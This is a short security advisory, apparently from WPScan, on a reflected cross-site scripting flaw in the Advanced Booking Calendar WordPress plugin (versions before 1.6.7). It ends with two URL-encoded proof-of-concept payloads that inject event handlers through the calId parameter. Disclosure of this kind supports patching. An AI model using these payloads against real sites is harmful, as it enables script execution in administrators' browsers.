Advanced Booking Calendar < 1.6.7 - Authenticated Reflected Cross-Site Scripting (XSS)

The plugin did not sanitise the calId GET parameter in the “Seasons & Calendars” page before outputing it in an A tag, leading to a reflected XSS issue

PoC

Payloads: - Original reporter: /wp-admin/admin.php?page=advanced-booking-calendar-show-seasons-calendars&setting;=calNotDeleted&calId;=aaaaaaaa%22+onclick%3Dalert%28123%29%3B%2F%2F - WPScanTeam: /wp-admin/admin.php?page=advanced-booking-calendar-show-seasons-calendars&setting;=calNotDeleted&calId;=a%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28%2FXSS%2F%29+b%3D%22